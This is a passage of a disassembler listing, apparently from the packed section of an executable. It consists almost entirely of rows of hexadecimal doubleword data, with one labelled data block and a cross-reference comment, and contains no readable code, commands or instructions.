		dd 1D5B0295h, 3BB9343Ch, 2947C480h, 0BC009864h,	1BD09463h
		dd 0FBCB88h, 52D414DBh,	7F97B104h, 82710B00h, 8CFD0141h
		dd 4CE200FEh, 69541812h, 9C00AAE7h, 64A44FFh, 0FA2EDFh
		dd 7F83564Dh, 93E1E345h, 0D2822800h, 775C08D8h,	70FD3A81h
		dd 0F7533C73h, 7F52B00h, 59E865D3h, 1776BC00h, 94C71F9Eh
		dd 0DA6700B5h, 0EB500C1Ch, 0BC3D42A1h, 1D30023h, 6919C9F2h
		dd 341E0025h, 4FD4470Ah, 0FB0FD895h, 60B801E0h,	437B3248h
		dd 0E150739h, 0E00FBFAFh, 0ADC0F67Fh, 0A81C4900h, 71EA0B2Ah
		dd 0D090DCh, 9083C658h,	37E74A8Fh, 0B5C5C900h, 0F1236ABh
		dd 3CFD0053h, 45A15EFBh, 571E19E1h, 0B656DA8Ah,	0EFF90600h
		dd 0B51D4Ch, 0E3EB92FFh, 756DD1Fh, 41893107h, 8F53272Bh
		dd 0DF7C016Eh, 0FDA56552h, 882DE0D8h, 32006B75h, 80C35FFFh
		dd 0EBCCBE3h, 982B8C73h, 480F7F80h, 0DF011044h,	0C6AD85A1h
		dd 29D8F363h, 0E0B500E5h, 53F9A6D2h, 6B002DDCh,	0D4F4C6CEh
		dd 14346B8h, 4F222E4Ch,	6016D274h, 0CD00E56Bh, 0BF70610Ah
		dd 0E6EA148Ah, 0B0B7386Ah, 0C0B3E71Fh, 0FC77C6C9h, 1D00101Ah
		dd 3F6E01BAh, 1FEB4E40h, 7C46B503h, 0B4CB9A00h,	0A4AA784Ah
		dd 0C2000E71h, 93EF576Ah, 0E899411h, 0F46DFC51h, 4375FE27h
		dd 0DAE07167h, 0C503AD37h, 10D3C9A7h, 0D88988E2h, 0B9510FA1h
		dd 80FDEE7Eh, 902AAE98h, 551FA991h, 460099D4h, 6A2C05CAh
		dd 0C3D100C2h, 7C3931F8h, 61094936h, 80AA41E2h,	0FA8B94D5h
		dd 0D23500B2h, 0C031C386h, 0F701BCACh, 5522BB1Ch, 0ECF86811h
		dd 0F0FA0016h, 50C2F46Eh, 3C1DCDEFh, 0E400AF75h, 3133BA15h
		dd 8F0F009Ch, 1A01867h,	0AD002C09h, 78B2C512h, 63AE2Dh
		dd 954854A2h, 0CB1CC1C0h, 35592B00h, 289B460Fh,	38AB0C7h
		dd 9CD4C4CFh, 3DB025AAh, 5800D555h, 41870112h, 3EAFA304h
		dd 0A90167BEh, 323F0E2Ah, 0F0CE6024h, 0C1000998h, 933CED36h
		dd 1C7466E4h, 49A94A8Ah, 0E60069E0h, 0D5BE5906h, 75A8BD00h
		dd 82F71CB2h, 5B260329h, 712DF6D2h, 0D3115988h,	0B81B4500h
		dd 6030EF52h, 3A15008Ah, 81792B17h, 0E603F0A4h,	0B1711E38h
		dd 7DA79082h, 803A00F8h, 3D7C5F5Ch, 0A101B08Eh,	0D77EE4F6h
		dd 54F46DD0h, 0C5FD00D5h, 0D127EC96h, 0DD75B5D9h, 82C37B13h
		dd 8992C900h, 85608Eh, 0F2814131h, 170F157Ch, 0D9A99A00h
		dd 3FFD5D40h, 38F800D6h, 53577D3Bh, 0C600932Dh,	83D8ED41h
		dd 31A8FD4h, 16E9A2DFh,	0DBB8D22Ah, 145848BAh, 0DCD400F9h
		dd 85573A41h, 9DE039B4h, 0CF976D00h, 80352782h,	96694A00h
		dd 0DC5F080Dh, 0E477AFh, 98AA44F3h, 0DF1F7579h,	3B002CF8h
		dd 77A7DA78h, 20425Ah, 0ED4FF7E9h, 29F06A06h, 0C51AC600h
		dd 76C9488h, 75CF00D9h,	3EB033E7h, 0AE170EECh, 31007DAAh
		dd 6911A27h, 0E0AB0E95h, 61E0F5FCh, 89AAFF1Fh, 3C5B623Eh
		dd 8B01878Ah, 2EB0F3C2h, 7AB17Eh, 0D3CD959Dh, 0D2A6F684h
		dd 58B43205h, 0E0C37FA1h, 39AA9808h, 0D5270094h, 118F3B98h
		dd 41073D4Ch, 0BAC60D10h, 0D02A677Fh, 2E5116h, 63F6802Dh
		dd 5EE091D2h, 44703100h, 0D819F47Bh, 768A3CF5h,	0EC9F2700h
		dd 0F6F029F7h, 5950AF00h
		dd 14C76B86h, 0F94E0063h, 88929A1Eh, 5F58526Ah,	2C8B07D3h
		dd 64D0BFDEh, 80621Ah, 33B9B096h, 0B1F87513h, 0F6316300h
		dd 58C727FFh, 8F1200F2h, 40110DFh, 48055765h, 15A6401Ah
		dd 0D0B1B700h, 330FDE6h, 77C49DF6h, 7E867AAh, 0BA001F34h
		dd 78A312A5h, 1CBCE7DEh, 71A19Bh, 66231A39h, 1B00ECC0h
		dd 2254D64Dh, 0EA6411h,	6D6F5806h, 1CF08B68h, 0B073C400h
		dd 0A799CC90h, 0EE8F0056h, 0FADA5192h, 8300DD2Dh, 70B63622h
		dd 9A6041h, 0F08AD4EFh,	3112F69Dh, 0C6944207h, 0FC205CFFh
		dd 39D2B70Fh, 8F0F8739h, 198723A8h, 2A671024h, 0A700119Ch
		dd 78CD9FD1h, 1DA8B33Ah, 0C048AC2Ch, 0C90FBB7Eh, 3500B02Bh
		dd 53A53745h, 1CE612Eh,	0B8E3843Eh, 0C5F8CF88h,	0DFB5E058h
		dd 0C8AD300h, 26BF8B1Ch, 0E92A03E4h, 0B25A146Fh, 900F56C8h
		dd 1205DB00h, 60376AA8h, 82C60F33h, 3B401F7Eh, 23099A59h
		dd 6BE2F800h, 753EA561h, 95C20088h, 70131E6Fh, 9B007D01h
		dd 0F6B562FFh, 2F1B7Bh,	0A0BEA9FDh, 0FCC4B8DAh,	89861700h
		dd 8E0CF72Bh, 53C76F9h,	0DF69B918h, 789B8037h, 6448873Dh
		dd 0FF737CB5h, 3A0D7A0Fh, 0D5CB601Eh, 8D5FD6h, 0C14FA8ADh
		dd 2EF0EDD9h, 61203303h, 0C0CCACAFh, 3A19F5B6h,	2A006CDEh
		dd 0D33BDB99h, 6DE4567Eh, 2D51B02Ch, 1F246B00h,	480E5E34h
		dd 7000B6C3h, 780304E2h, 7A011E17h, 596107B1h, 88FF9CE1h
		dd 961557h, 26DBAEC9h, 91801614h, 0EA3DA3Eh, 0E13184ACh
		dd 0A89DCD11h, 3250CD8h, 74CA36E3h, 8DA0EB63h, 6B00F8A6h
		dd 0D1CEFBD0h, 2221FFh,	5AAD3531h, 0F03482DBh, 0B8BCCA00h
		dd 53A9E687h, 2F2C002Ah, 70FC88BBh, 5B0009B2h, 47D49FBAh
		dd 0E103Fh, 903AC534h, 0E8E4B8F2h, 0F7D3A800h, 40E12FF5h
		dd 19E6005Fh, 919AAEA2h, 0C7000F5Ch, 8A70BCC4h,	3A61D50Dh
		dd 2F80E8A4h, 495B017Bh, 21002D38h, 585E2AD1h, 0B4FED5h
		dd 0AF322BE4h, 0D658CC3h, 0FB614A00h, 0CC2C129Eh, 0C0BC00F1h
		dd 26E59663h, 7D0F998Eh, 81615CDDh, 0F265EE6Fh,	3998FC40h
		dd 0D6701F44h, 0C909C140h, 0CC0A3507h, 0AB006D49h, 44D8C4C3h
		dd 5461C8h, 2688F04Dh, 0BA24138Bh, 8055DB3Dh, 38760A19h
		dd 7412ED8h, 58E0661Dh,	0E2D7F0F3h, 0B00E18Dh, 9D045C47h
		dd 0AD6CF5h, 0C0E50686h, 0B3EE3484h, 7DC1E300h,	11C2C830h
		dd 0FA280EADh, 60C01D66h, 0A556C978h, 0F7256200h, 214B88AEh
		dd 5B7BC6h, 0FF269C3Dh,	41C8F52Eh, 0DA2F6B00h, 2DF7F486h
		dd 28B70065h, 10290761h, 0C6EC44F1h, 0C8188E00h, 1DD739CBh
		dd 4195002Ah, 0BEC52B53h, 0B800EBF5h, 672DBF08h, 205D2C0h
		dd 0D0259BFAh, 276026F7h, 0E103E29Fh, 7BB88DAAh, 0A4F0CFCCh
		dd 0F2147899h, 0CE7618h, 0BEAD88DCh, 46D4E1A5h,	47D5BA03h
		dd 9835BF27h, 254C6Ch, 0DA390476h, 3B890724h, 569D2003h
		dd 0E8C821D9h, 0F113BEh, 51ED247h, 1FAB999Eh, 322DDE01h
		dd 0BE7D5558h, 7A2A0C0h, 946B3A3Fh, 1CC320E0h, 9D00DCD3h
		dd 0C1EF76EBh, 3DF2990h, 1342BA04h, 7C0B102h, 0F100D3E9h
		dd 289DCBD7h, 15215h, 89EFF6CCh, 6949F8A1h, 18567500h
		dd 0D92C386Bh, 162400A4h, 2AF360EBh, 5838D189h,	0DFE5001Ch
		dd 0A698EA97h, 0D0BA0E3Dh, 0EFC06EBDh, 42010A71h, 0A5BC4C00h
		dd 0D7F32D24h, 3130003Dh, 0E7EF0B89h, 0B3003787h, 0DACC268Ch
		dd 3AD75F45h, 0DD00BC99h, 75B19DB7h, 920071C9h,	1A33F5D4h
		dd 587D6Fh, 63C328DCh, 31B7A2CBh, 0AA71D600h, 51EAC8FAh
		dd 2FC70013h, 7B230588h, 0CD000F92h, 2970A67Eh,	1430D8h
		dd 3E09B508h, 9E539A83h, 7B2BF458h, 9BE62700h, 5C8B69C5h
		dd 2CE895h, 0A6102264h,	0AE19376Ch, 0BBAA8300h,	0A4077FFAh
		dd 8DF50005h, 1C01E025h, 511D2A0Bh, 34268C93h, 0C00EB40Eh
		dd 6FD48540h, 9D230075h, 0E086E13Ch, 0FD006568h, 32669996h
		dd 48293437h, 0B73E41F8h, 309C279Ch, 0D7ACFC5Eh, 670B38h
		dd 29E71E9Ah, 90771Ch, 0E05CC656h, 0BAA37D64h, 0DC00F87Bh
		dd 9F177E32h, 0B70DDEh,	23C2E1D5h, 0D7BA030Ah, 0F4C8D226h
		dd 80DABB39h, 3B20D461h, 2EC513h, 9BCC1547h, 0F1F8D549h
		dd 0EC2BC1EBh, 0BE00A1DAh, 0B9858B2Ch, 58D412h,	9FC2488Dh
		dd 0FB9D3E6Eh, 1CDCAA3Eh, 4B8003F0h, 0D8CB924Fh, 51190034h
		dd 25067C80h, 0E00095BBh, 8F4A3B7Dh, 0E0EFFDF4h, 284E07A2h
		dd 30A7E4A0h, 5B1BB302h, 0F907BF73h, 0D89ED68Eh, 7B244E30h
		dd 0F65D003Fh, 1C9F552Ah, 13007D4Bh, 0E5314A0Eh, 77FC0FE9h
		dd 6F4330C8h, 426616CEh, 5F5E710Fh, 0A6C78585h,	0B1CF5680h
		dd 0FB40008Fh, 0C6D9797Fh, 5A70650Bh, 0AF6E4Ch,	4610128Dh
		dd 3E843Dh, 3A814011h, 4FC60376h, 33F70600h, 7CE2A634h
		dd 1E14906Bh, 4FE32250h, 0B1603D42h, 549E4F70h,	0DB929617h
		dd 34A40107h, 5A21BE50h, 85EA1C4Ch, 14688023h, 0A67BAAB4h
		dd 58B30F01h, 697049EEh, 398605C8h, 30F8944h, 56409176h
		dd 0B336BB01h, 0BDC8DC05h, 3BC0D802h, 76CD8CA8h, 56FE2607h
		dd 389037Ah, 60874F88h,	0C5A2368h, 1FA8FBE1h, 0C517118Dh
		dd 5A004555h, 92D63ACFh, 6D8B0731h, 0B7BA15h, 1C6E5E2Fh
		dd 0C502100h, 260C544h,	2CCB016Ah, 0DE5CFDCh, 59DFC38h
		dd 0D36138h, 979A9B75h,	56377Dh, 0DBB6AB2Eh, 52C5D953h
		dd 94392D00h, 36D5E85h,	0F4BA00C7h, 0FB279B9Ch,	3600C42Bh
		dd 4199E4C8h, 0DE5C3Eh,	5EC7CEA8h, 0EC9E0B90h, 0E10D2900h
		dd 2E9CAA4Bh, 0B93000AFh, 1CE4B721h, 930035A4h,	0D4C6861Eh
		dd 69F13Bh, 438D3624h, 0D34478FCh, 5042A00h, 0ADF5DB56h
		dd 0B45B00F4h, 542DD495h, 70006BABh, 97627355h,	0FE7CA1Ch
		dd 7FFEA44Ch, 0B9D78DC0h, 5E003C43h, 0A9B2C96Fh, 8FD060h
		dd 65871831h, 61E1237h,	43016C72h, 46A60B5Ah, 42F89A32h
		dd 21AA039Ch, 6A9BCED3h, 0ADF63FA8h, 5DBF3600h,	5CDFD02Bh
		dd 9F0D00BBh, 8AA07467h, 7B07F8B0h, 1655174Bh, 0D0C1D173h
		dd 0E8EEAh, 0E6F042B6h,	0A79007F3h, 41B330Eh, 587B804Ah
		dd 81C075h, 767E8F28h, 6520CD32h, 0F6EE4C00h, 0BAFEABDEh
		dd 86F301AAh, 16E13746h, 9E26DC6Ah, 14D5B950h, 0A4BBAB03h
		dd 0E83ADAC4h, 0E5E9B44h, 46EC8C17h, 53A5EA80h,	38FCFCCEh
		dd 3DEAC35Ch, 3E16005Fh, 65693CEBh, 4D700366h, 1D61552Bh
		dd 0D7040BD0h, 0E3EBB41Eh, 780E7240h, 3E146Ah, 13C0B37Eh
		dd 247C3D82h, 95D6ED01h, 0F00784D7h, 98A4FFCCh,	93470030h
		dd 0BCFE8831h, 411CD842h, 5809875h, 0AAB699F7h,	9DB80024h
		dd 72583FAFh, 0AB0F64B4h, 0C0D012D5h, 0ECC0719Eh, 1D5CE2D1h
		dd 0D80C5Dh, 7F4AC18Dh,	41009A46h, 173A892Eh, 0EF9B4h
		dd 0EB77A9EDh, 127DD6CAh, 0A53CE00h, 0DEE13DB6h, 6B1530A2h
		dd 95F04E1Ch, 11AA3600h, 0F842EED8h, 0C7E300EFh, 0DC2A6E16h
		dd 0F34CD0E4h, 4DE900E8h, 755E9823h, 2ECF029Ah,	95A9B1CCh
		dd 0AC23960h, 81595A07h, 5EE1A6EDh, 54C8E3C4h, 52BE0046h
		dd 0F66AB626h, 8900A3B3h, 8656841Fh, 1E68666Ch,	83B98049h
		dd 775C7547h, 67F259D0h, 0C0DCB802h, 0E0B2AEEAh, 739E929h
		dd 7F1D958h, 9E7A3FAh, 0FC971AD8h, 0CFA72305h, 0AF003751h
		dd 0FFD559B4h, 0D4F256h, 0F2E98A3Eh, 63531B85h,	94586603h
		dd 0B7245B29h, 0A57CD5D0h, 0C234502Fh, 9A571D0Fh, 6D154082h
		dd 0B5F2E30Dh, 6A99470Eh
		dd 890860C0h, 0B7F9E0h,	53C3F060h, 2684BA51h, 92791C00h
		dd 279164EFh, 0E0FA00CDh, 0D4580A7Bh, 0FD00C432h, 875F073Ch
		dd 0D3492h, 887010BDh, 94D29DDAh, 0BA0725EAh, 7CF0787Eh
		dd 0E0EF1530h, 7F630037h, 59F2C4E5h, 36008E1Ah,	0D1F8D01Fh
		dd 6AA779h, 66A81932h, 0D5C583F5h, 0BF0F2C00h, 99D8C362h
		dd 418A0013h, 94649CAh,	0F798F856h, 0EA3BE700h,	0D4F1BBB1h
		dd 80F2004Ch, 9B0BA5ACh, 0B500750Fh, 8266C5BDh,	488AC9h
		dd 4F581F31h, 0A452CCDDh, 0EA67B700h, 0F4BD62Dh, 2E7403h
		dd 3CDEF509h, 625D56DFh, 40DC8800h, 7C9F4725h, 691A01C5h
		dd 0CEF7E8CBh, 0E4B5DCB7h, 3686381Ch, 9D37FF40h, 3721362h
		dd 6A09EA95h, 96A07F2Ah, 16005CD7h, 92A49873h, 0F40C4160h
		dd 0C2DB0083h, 3AE7F036h, 0DA003911h, 20305B8h,	3857C98h
		dd 1AFF7697h, 0CD98AE2Ch, 0AC1D5F9Dh, 2780A0DBh, 0A538B97Ah
		dd 4C7100B4h, 0BE99A677h, 7B3AC6FCh, 0C05680E4h, 0B3794695h
		dd 37B50057h, 0F8BD6F48h, 2400ADDCh, 0F58CAA70h, 0D77EA3h
		dd 0AFC471Eh, 9E766815h, 87B92200h, 0F34073C3h,	0B726003Dh
		dd 0AEE87862h, 5D00DECCh, 43BDFC58h, 327A320h, 0DCB9E79Dh
		dd 8AF8120Ah, 0CA00F1FAh, 0FC60CBFDh, 77A5745h,	20598DA3h
		dd 0E9D6F0EFh, 0B43CFD38h, 2C4F00A1h, 0DF17BE62h, 0C85B002Ah
		dd 1A0268ACh, 0C30008B7h, 19A0D050h, 1C4CA170h,	802F7AE0h
		dd 0EF280CEh, 5800694Dh, 308A605Ch, 7393BBh, 8FE2B674h
		dd 94E418B2h, 720D8D07h, 0E360DD8Eh, 59630h, 42E293DBh
		dd 0EA454E35h, 9E7D6100h, 0D46BBEC3h, 49A500EEh, 201BE56Ch
		dd 0BF02AECEh, 35AC5B38h, 56B960F8h, 0B5203A9h,	772B105Eh
		dd 2F428FE0h, 96ABBC03h, 0F04E04DBh, 4014A6h, 3705DC11h
		dd 809E2EE6h, 0ED79E200h, 9312BB75h, 92B90F48h,	0F9A1AC1Ch
		dd 0D4C25241h, 0FF0054EDh, 6DF1B451h, 8F2F49h, 0CBBD7337h
		dd 87C51F44h, 3C087B07h, 24098F0h, 1E9E4FCh, 0E00E1A78h
		dd 0C0D41B7Ch, 45B090AAh, 273D4F00h, 0A473C40Bh, 20F6009Ch
		dd 8D31B1F3h, 1903E502h, 0FED4D267h, 10A5E8B8h,	5D1B0FAAh
		dd 0D0AFB150h, 9648100h, 71006E26h, 0C3C95F45h,	1E3E9685h
		dd 410BA8B1h, 0BD1CADBEh, 0EEBAF05Eh, 57C9D600h, 562374D3h
		dd 2B190003h, 59DE26EFh, 5B008005h, 0BC6E7E55h,	0EE465Eh
		dd 1F93D1EDh, 1E8FFA2Bh, 15872600h, 8AF66188h, 2CE8A0CCh
		dd 274600C8h, 932DDF44h, 0B60098D9h, 0F016A253h, 0ECE5F3h
		dd 0F68FA877h, 51493FDFh, 26108503h, 80A5CF3Ah,	0D6AD9Ah
		dd 64B56D9Bh, 0A32DA4D5h, 3D48F100h, 2CD1546Ah,	59D800E4h
		dd 8464F00Bh, 0FD5A264Ah, 8FB32600h, 0AA350Ch, 62545A6Ch
		dd 0CA89703Ch, 0FD010D00h, 0ADC3C86Dh, 0B60C0173h, 2B31C540h
		dd 0A32B60B7h, 81D4B7Fh, 1400B34Fh, 0DC078083h,	22B0586h
		dd 0C09E887Ch, 0AE215638h, 0B761B303h, 0C3A4356Ah, 0B263F778h
		dd 0D466F0F0h, 7C3703EAh, 0C82A3C13h, 0DB444D0h, 3D9A1100h
		dd 0F38779B2h, 9E55008Ch, 0B69D1CBEh, 53E23B38h, 0CD71B00h
		dd 0C2B589E9h, 0FBBF0142h, 3C039593h, 0CAC680A1h, 4281DAEh
		dd 41E7725h, 5BD03B17h,	6C8808Dh, 733A771Ah, 3EED8088h
		dd 0C4CC2DA1h, 0E660501h, 0C0E7729Ah, 0C57EB742h, 0F6A5C100h
		dd 33210CEBh, 946E1D66h, 75B100F2h, 20E3930Bh, 48D3B800h
		dd 153C8690h, 0AB63038Fh, 0F0B47DE5h, 70383680h, 0A0694F01h
		dd 1B49B2B3h, 7818AFD0h, 1987E61h, 0F391D464h, 0D876F727h
		dd 0B1015644h, 30E7ECFDh, 3ADC4170h, 0BE5102E0h, 0BD5B28B0h
		dd 0F9278FC0h, 92073DF8h, 0C11FBF74h, 80C46FA0h, 33F41C41h
		dd 4A533Fh, 0AC98876Fh,	1E07C0FAh, 71752D66h, 38B15BF0h
		dd 0EB49005Fh, 60A0130Fh, 591E5CB0h, 34C0766Fh,	9B17F779h
		dd 0A965000Ah, 0B7ACF192h, 0D09597Bh, 802DCA33h, 0AF9CC1A1h
		dd 0F952007Dh, 28D14131h, 0F0E8486h, 60F067AEh,	451F9CFCh
		dd 12AB01EDh, 0BF02D488h, 78E5E48Bh, 0AD999200h, 0A5E360F6h
		dd 0CDAA024h, 0BEAB0091h, 0B03D8B73h, 85001527h, 0A3716AFh
		dd 0B063D2DEh, 1E981F20h, 0A3EE4036h, 0BF4CCBEBh, 0FF737100h
		dd 3C06B187h, 0CA5000Fh, 891E6022h, 0BD00D353h,	3B6D10FEh
		dd 0AAA98Ah, 0DB5D5B09h, 0CBDDAB7Dh, 98D7AE07h,	605EA3A5h
		dd 0E5B75E73h, 0B970E138h, 0B97B00BBh, 1D1B8E56h, 2B50CEF0h
		dd 7600ACACh, 3326BC5Bh, 7A484Dh, 7CBFB1F4h, 1159364Bh
		dd 8AADFF02h, 408CDE66h, 0E2F8C5ABh, 89471446h,	87009697h
		dd 272E7E42h, 7F031BBAh, 82A32859h, 0B0DE9BD5h,	9C7748h
		dd 8FF36A93h, 6D985689h, 0C8145A03h, 0B831A41Eh, 44526Fh
		dd 0DA6A668Ch, 0C123F39h, 0AE400203h, 0BFADFAF2h, 78C0AFA7h
		dd 0A7FC13h, 0F00D33A9h, 359F4BB3h, 5AEAB1E0h, 0A242A000h
		dd 5B62F302h, 311700D3h, 0FAE549E0h, 0A3FA33DDh, 0F60D900h
		dd 0A65D8EF5h, 0E7230063h, 81D84AA5h, 0FC1F7DCAh, 56802EAAh
		dd 5401151h, 0A8A4009Ah, 0C546185Fh, 0C200F749h, 0DB552948h
		dd 85E51Bh, 0A247749Bh,	8DFE6496h, 600D898h, 6BCB34C5h
		dd 484C9D44h, 3D01797Ch, 0B6192F35h, 0D6B4F8BBh, 2E00B2F8h
		dd 3A780B46h, 75DA78Eh,	0FB04BF96h, 0D0829718h,	0E6B6B413h
		dd 1038CE6h, 0AAC551C0h, 0C5D2EB6Bh, 330FD300h,	0FADDFCE8h
		dd 113000F4h, 409ED0FEh, 0F200B95Dh, 2ABA86Bh, 39E8F973h
		dd 0D48080C0h, 7AF614D6h, 6700D874h, 0A02F6FA6h, 0FA909BBh
		dd 0C97846DCh, 2044ACA7h, 0EE6F53D4h, 2CBEE600h, 0C211E004h
		dd 0E8E71F15h, 6DC008Ah, 1719488Fh, 0A1801600h,	0A8E09FBCh
		dd 0DFD600DDh, 0C48AFEAEh, 44006E29h, 81522216h, 6B9D99h
		dd 824EFD46h, 63EDCCD2h, 4A683400h, 50596AACh, 16BA0019h
		dd 1746E454h, 53006CECh, 5C3FA936h, 2BD049h, 71864714h
		dd 438E7D55h, 2848B00h,	6FA2F9D9h, 0C0BE1D33h, 0C364057h
		dd 1CA9E156h, 0E0DB0B00h, 7C6C02A7h, 7787FF3h, 0B946E5ECh
		dd 0D72C7010h, 0A67A45B4h, 24AB1305h, 0F68074B2h, 2ACA99h
		dd 0B973437Ah, 219172A2h, 76C52D00h, 46CC3F8Eh,	0E18A3E44h
		dd 0DAEBB104h, 4B4CC033h, 457B04E7h, 0B6C6B500h, 2D6FC3FDh
		dd 684E0065h, 0B34182DCh, 1E001C75h, 30EF2387h,	109D408h
		dd 89A5B54Ch, 0C08F26D0h, 0B6007B1Bh, 62563C68h, 0F1B002h
		dd 7FC7F217h, 7A72768Eh, 6E06BA1Ch, 4C56280h, 103F29h
		dd 68F04B2Dh, 1BB5EF13h, 8018743Dh, 0A355D65h, 2E3E90B9h
		dd 11C0289h, 41DD5015h,	0ED3F60AAh, 0E8F0F100h,	3CAC1701h
		dd 4E131F03h, 642F8BD5h, 11F92F00h, 39009D8Ah, 0BC363B51h
		dd 48CDFh, 0D434AF3Ch, 9EA9FE2Dh, 0F63A3E00h, 0B2F806A5h
		dd 1ABD00D6h, 1184089Bh, 82005E02h, 59F762E4h, 234E673h
		dd 38DFC6ADh, 0ED401351h, 8F00DBEFh, 15F09875h,	4AB741h
		dd 3B4E2DC2h, 0A56E8DCBh, 779C80EBh, 48FA0C6Fh,	29E900BEh
		dd 83352269h, 0D400049Ah, 5556E46Ah, 0A71FD0h, 6199A2CDh
		dd 40B5AB1Eh, 393A9700h, 0F1C1B42Eh, 0CC4300D5h, 0E46E5D19h
		dd 0ADA0DE93h, 47171DA5h, 0A6038637h, 0C54AC235h, 365B8A80h
		dd 0CBB40773h, 7CD6E04h, 657160BCh, 2B0F3B4Ah, 0EDEB35h
		dd 0F9DC583Eh, 0B182006Fh, 0B077F8A2h, 1F074EC6h, 0BCA8A7A9h
		dd 0A3E7A401h, 31BF4C80h, 6F280F43h, 0D5B5B200h, 19796A2Ah
		dd 5E50007Ah, 9EDC8E51h
		dd 4B00A453h, 8C7C77FAh, 63BD3Ch, 4D5734D2h, 92E5AC82h
		dd 430013EAh, 2B57D10h,	7A6D0824h, 7F7100BFh, 870F57CAh
		dd 751CEAA4h, 0E5C05FB4h, 0C7C35AB1h, 0A630001Ah, 6A9D3DF2h
		dd 0FE60C64Ch, 3A666512h, 6F1600B1h, 219BA986h,	2A002409h
		dd 0C69EF0E5h, 5C4C98B5h, 0D4004044h, 9DAD573Ah, 9C0020EBh
		dd 9658FC0Eh, 3DE0EDh, 45E6FF63h, 242C69B1h, 1123EB07h
		dd 802031DBh, 78AC5E3Eh, 0C3D73A19h, 4034AD00h,	792E2FCAh
		dd 1B42F000h, 2259E35Fh, 971500D0h, 10D52546h, 0C7004398h
		dd 8BE5A7C6h, 0F11B85h,	0E3585613h, 890FB87Ch, 3EF38400h
		dd 2DB58A7Bh, 6CBF0731h, 4010C942h, 981254B7h, 518E3700h
		dd 0A1AAA086h, 6E7DEAh,	0DB8C01B4h, 69B882C4h, 8113FC00h
		dd 9CE0F71Dh, 80CA003Bh, 45D6B531h, 8200EC61h, 84EA6D9Fh
		dd 1E9C4860h, 88CAEFh, 9664DEBBh, 1A00B0A7h, 0A19AAEC7h
		dd 0A3EB4Bh, 0FA223888h, 3E06D3CFh, 603B7300h, 0F576906Eh
		dd 0CB960E39h, 1B476BD1h, 53F40309h, 0EFC060FFh, 43009F65h
		dd 0BA02FFFEh, 57E8CFh,	24486AA8h, 3177FD69h, 338E910Eh
		dd 745BE017h, 0E23827h,	0D3FA6FA0h
dword_4E414C	dd 0FCF2D7C6h, 0C468A101h, 0D5DADDBAh, 0C278ECh, 9A5A2229h
					; DATA XREF: .packed:off_43CE80o
		dd 0EC2FED2Bh, 950C3Dh,	1CB7C7F1h, 0F798592h, 0EAE4C37Ah
		dd 0BF3AEBC0h, 463A883Fh, 80778301h, 0E0DE22DDh, 4CB53Ch
		dd 0F81ABA6Eh, 7968E410h, 1EDD0B0Bh, 0C963805Fh, 104B574h
		dd 0C870BE93h, 0F4806619h, 0F00133Fh, 64C2482Bh, 1C26E8DAh
		dd 80E0E653h, 0D52A5512h, 9400C572h, 27075897h,	7339F306h
		dd 917D0078h, 7F8DACD3h, 1900812Dh, 0DEB40D28h,	1E5E88AAh
		dd 9CD30842h, 0DBC200A7h, 0D40B7233h, 8EA85907h, 0DD201752h
		dd 1D3A92BEh, 802DB122h, 1AE4FCA1h, 0B5F44DBDh,	0D3E22300h
		dd 0B42F7B10h, 0F6C300FAh, 502B030Ch, 61EC48A5h, 604B4F00h
		dd 0BB977D7Ah, 0A40D1FE7h, 6A2B00E9h, 0EA849962h, 4BD48F00h
		dd 3B40C525h, 9B120045h, 77E95055h, 70007CAAh, 7BCB36E8h
		dd 5B9860h, 789D56E0h, 686416D0h, 77AA0500h, 0CEEC86C8h
		dd 0BF2B0E3h, 70ED7215h, 0C2D01400h, 2300AE80h,	4C1FCD3Eh
		dd 0C42B24h, 54A83C95h,	1165940Bh, 7C4D5600h, 5024F6CBh
		dd 58260779h, 506E9A7Fh, 1C436589h, 49DC6A00h, 0F40628AFh
		dd 7F603866h, 44B37480h, 7ED8C3ADh, 51292500h, 62F0C563h
		dd 3EE0E6h, 0CA42DA2Eh,	0D93A48A1h, 4F348E00h, 705EC24Ch
		dd 85E3050Fh, 0C0B225D2h, 42F1FFB5h, 4310D00h, 0DB712C64h
		dd 27D20170h, 0AC7EBD5Fh, 8B19F015h, 0FB681F00h, 45F186A2h
		dd 0F7C7004Eh, 0EC22F4D0h, 21005B67h, 7DAD7A9Ch, 7DA8E13h
		dd 6106088Bh, 0A23580C6h, 7F001E95h, 14B45690h,	0E80D7Ch
		dd 9320A5E4h, 0D6DFE21Fh, 34175E00h, 46EE3128h,	4A830370h
		dd 0E0445303h, 8BED9097h, 0FFEEA182h, 0CC950B00h, 52B2F149h
		dd 0FDB90369h, 70E68BCBh, 0DEE4CA90h, 9C54F200h, 65E080C1h
		dd 0C80C0082h, 0F18819BEh, 6B1D66CDh, 9A432BB8h, 0D01D22B4h
		dd 0F0F71B9h, 650AC836h, 7246A440h, 0D6798D25h,	0ECBB0300h
		dd 87D57B54h, 40F0068h,	6CC8426Ah, 138623Fh, 6B198063h
		dd 0EDB45B71h, 7CEF0B58h, 0BD00B336h, 9E73B11Fh, 0A533D900h
		dd 492E0D9Ah, 0EB0900A4h, 41B24B5Fh, 0CE02AB01h, 53E0871Ch
		dd 0D1AE4098h, 81580038h, 0BD6E17BCh, 0F4E20434h, 0BB6F7C00h
		dd 0FC40B478h, 0CD9103D8h, 0C77459EEh, 15CA34A0h, 0CF7F570Eh
		dd 7EA2E00Eh, 386A3371h, 0E887E5D4h, 0C06F2B1Dh, 26DCB87Fh
		dd 9CB3A400h, 0CF308F80h, 7067194h, 5E51C7CDh, 70A5C0A3h
		dd 2300A114h, 907AED61h, 5CECADCEh, 0A90008A4h,	0C247E17Ch
		dd 77008E79h, 65DE7D4h,	0E89AC79Fh, 5BEE71h, 0EF2B7003h
		dd 106EBA85h, 81D20D00h, 84158225h, 12B600F7h, 581E28FBh
		dd 29008788h, 3D54438h,	7520761h, 971339BCh, 0B20E6075h
		dd 0B177EA93h, 68604800h, 0D2D7B4C9h, 0D3D1005Fh, 0B9E73ED9h
		dd 7F002183h, 84275259h, 99FC0Dh, 25942CCEh, 7EF07A43h
		dd 0EC000270h, 0B7FA8C8Dh, 9571A1h, 1D06308h, 3E0CD647h
		dd 671DDB01h, 0B1EFAE9Bh, 766B6D0h, 0D1C8A385h,	0D79E203Ch
		dd 5C00B879h, 0B2B4374Eh, 91CE31h, 260C7394h, 3D11493Bh
		dd 0C122BB00h, 41F2504Eh, 0F7BC0028h, 9C2FD980h, 0F600C532h
		dd 43AE7E7Fh, 78EB8456h, 5BD1006Fh, 7409402h, 30F91F4h
		dd 1CBC9759h, 0FA1FFDC1h, 0E6E44C25h, 0FE7B3F9Ch, 926D00FBh
